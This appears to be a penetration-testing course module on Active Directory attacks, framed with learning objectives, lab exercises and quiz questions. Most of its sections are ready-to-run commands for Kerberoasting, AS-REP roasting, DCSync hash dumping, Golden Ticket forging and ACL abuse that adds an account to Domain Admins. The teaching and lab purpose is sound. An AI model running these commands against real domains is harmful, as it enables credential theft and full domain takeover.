Active Directory Attacks
Attack Windows Active Directory environments using BloodHound enumeration, Kerberoasting, AS-REP roasting, DCSync, Pass-the-Ticket, and Golden Ticket attacks.
Learning Objectives
- → Enumerate AD with BloodHound and ldapdomaindump
- → Perform Kerberoasting and AS-REP roasting attacks
- → Execute DCSync to dump domain credentials
- → Create and use Golden and Silver Tickets
- → Identify and exploit AD misconfigurations: ACL abuse, Unconstrained Delegation
Active Directory Fundamentals
Active Directory (AD): Microsoft's directory service for Windows domains
Components:
- Domain Controller (DC): server hosting AD database (NTDS.dit)
- Domain: logical grouping of objects (users, computers, groups)
- Forest: collection of domains with trust relationships
- LDAP: protocol used to query AD (port 389/636)
- Kerberos: AD authentication protocol (port 88)
- DNS: required for AD (port 53)
- SMB: file sharing, used by many AD operations (port 445)
Key concepts:
- Distinguished Name (DN): CN=Alice,OU=Users,DC=corp,DC=com
- SID: unique security identifier for each object
- ACL/ACE: access control lists governing permissions
- GPO: Group Policy Objects — settings pushed to computers/users
- Trust: allows authentication across domains
Enumeration: BloodHound
# BloodHound: visualizes AD attack paths graphically
# Requires: Neo4j database + BloodHound GUI
# 1. Start Neo4j:
sudo neo4j start
# Browse: http://localhost:7474
# Default: neo4j/neo4j → change on first login
# 2. Start BloodHound GUI
# 3. Collect data (from domain-joined machine or with credentials):
# SharpHound (Windows):
.\SharpHound.exe -c All --outputdirectory C:\Temp
# BloodHound.py (Linux with credentials):
bloodhound-python -d corp.local -u user -p password -ns DC_IP -c All
# 4. Import to BloodHound: drag ZIP file into GUI
# 5. Queries to run:
# "Find all Domain Admins" — who has DA
# "Shortest Paths to Domain Admins" — from any user
# "Find Principals with DCSync Rights" — who can dump DC
# "Find AS-REP Roastable Users"
# "Find Kerberoastable Users"
# "Largest Attack Surface" (exposed high-value targets)
LDAP Enumeration
# ldapdomaindump — dump AD info over LDAP
ldapdomaindump -u 'CORP\user' -p 'password' DC_IP
# Creates: domain_users.html, domain_groups.html, domain_computers.html
# ldapsearch
ldapsearch -x -H ldap://DC_IP -D 'CN=user,DC=corp,DC=com' -w 'password' -b 'DC=corp,DC=com' '(objectClass=user)' sAMAccountName
# PowerView (PowerShell, from domain-joined machine):
Import-Module .\PowerView.ps1
Get-DomainUser -Properties samaccountname,description,memberof
Get-DomainGroup -Name "Domain Admins" -Properties members
Get-DomainComputer -Properties name,operatingsystem
Find-LocalAdminAccess # find machines where current user is local admin
Kerberoasting
# Service accounts with SPNs → request TGS → crack ticket offline
# The TGS is encrypted with the service account's NTLM hash
# 1. Find Kerberoastable accounts:
impacket-GetUserSPNs corp.local/user:password -dc-ip DC_IP
# 2. Request and capture TGS:
impacket-GetUserSPNs corp.local/user:password -dc-ip DC_IP -request -outputfile kerberoast.txt
# 3. Crack:
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r best64.rule
# From Windows with Rubeus:
.\Rubeus.exe kerberoast /outfile:kerberoast.txt
# Why it works: any domain user can request TGS for any service
# Service account passwords are often weak and rarely rotated
AS-REP Roasting
# Users with "Do not require Kerberos pre-authentication"
# → can request AS-REP without credentials → crack offline
# Find vulnerable users:
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip DC_IP
# With credentials (find all):
impacket-GetNPUsers corp.local/user:password -dc-ip DC_IP -request
# Crack:
hashcat -m 18200 asrep.txt rockyou.txt
# From Windows:
.\Rubeus.exe asreproast /outfile:asrep.txt
DCSync Attack
# DCSync: replicate domain controller's password database
# Requires: Domain Admin, Replication privileges, or specific ACEs
# Uses: drsuapi (Directory Replication Service API)
# With Mimikatz (from compromised DA account):
lsadump::dcsync /domain:corp.local /user:Administrator
# Output: NTLM hash, Kerberos keys, password history
# Dump all accounts:
lsadump::dcsync /domain:corp.local /all /csv
# With impacket (from Linux):
impacket-secretsdump corp.local/Administrator@DC_IP -hashes :NTLM_HASH
impacket-secretsdump corp.local/Administrator:password@DC_IP
# Output: ALL domain user NTLM hashes, Kerberos keys
# Equivalent to exfiltrating NTDS.dit
Golden Ticket
# Golden Ticket: forged Kerberos TGT using the KRBTGT hash
# Valid for 10 years by default, can impersonate ANY user
# Persists even after password changes (until KRBTGT is rotated TWICE)
# Prerequisites: KRBTGT NTLM hash (get via DCSync)
# Get KRBTGT hash:
impacket-secretsdump corp.local/Administrator@DC_IP | grep krbtgt
# Create Golden Ticket (Mimikatz):
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:KRBTGT_NTLM_HASH /ptt
# /ptt = pass-the-ticket (inject into current session)
# Create and save:
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:KRBTGT_NTLM_HASH /ticket:golden.kirbi
# Use saved ticket:
kerberos::ptt golden.kirbi
# From Linux with impacket:
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec corp.local/Administrator@DC_IP -k -no-pass
ACL Abuse
# ACL (Access Control Lists) misconfigurations — common in real environments
# BloodHound shows these as "edges"
# Common exploitable ACEs:
# GenericAll on user: reset password, add to group
# ForceChangePassword: change password without knowing current
# GenericWrite on group: add yourself to group
# WriteDACL: modify ACL of target object (give yourself GenericAll)
# WriteOwner: take ownership of object (then get GenericAll)
# DCSync rights (DS-Replication-Get-Changes-All): dump DC
# Example: GenericAll on user account
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose
# Example: Add yourself to Domain Admins group
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker
# Example: WriteDACL -> give yourself DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=com" -PrincipalIdentity attacker -Rights DCSync
Set up a lab AD environment (TryHackMe Attacktive Directory or Vulnhub AD labs): (1) install Neo4j and BloodHound, (2) run bloodhound-python: bloodhound-python -d lab.local -u user -p pass -ns DC_IP -c All, (3) import data into BloodHound GUI, (4) run query 'Shortest Paths to Domain Admins', (5) identify Kerberoastable and AS-REP roastable users, (6) find machines where low-privilege user has local admin.
What does BloodHound's 'Shortest Paths to Domain Admins' query show?
What is an SPN and why does it enable Kerberoasting?
Perform Kerberoasting on a lab domain: (1) find SPNs: impacket-GetUserSPNs domain/user:pass -dc-ip DC, (2) request TGS: add -request -outputfile kerberoast.txt, (3) crack with hashcat -m 13100, (4) use cracked service account password to check: crackmapexec smb DC_IP -u svc_sql -p cracked_pass, (5) check if service account has elevated privileges that can be pivoted to DA.
Why are service account passwords particularly vulnerable to Kerberoasting?
After reaching Domain Admin in the lab: (1) perform DCSync: impacket-secretsdump domain/Admin@DC -hashes :HASH or Mimikatz lsadump::dcsync /domain /all, (2) extract KRBTGT hash from output, (3) get domain SID: impacket-getPac domain/Admin@DC or from BloodHound, (4) create Golden Ticket: impacket-ticketer -nthash KRBTGT -domain-sid SID -domain DOMAIN Administrator, (5) use ticket to authenticate.
Why is the Golden Ticket so powerful?